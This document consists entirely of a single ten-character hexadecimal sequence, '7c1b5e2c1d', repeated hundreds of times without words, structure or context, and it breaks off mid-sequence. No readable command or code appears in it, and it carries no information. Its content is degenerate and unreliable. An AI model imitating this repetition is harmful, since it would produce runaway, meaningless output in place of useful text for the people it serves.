7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c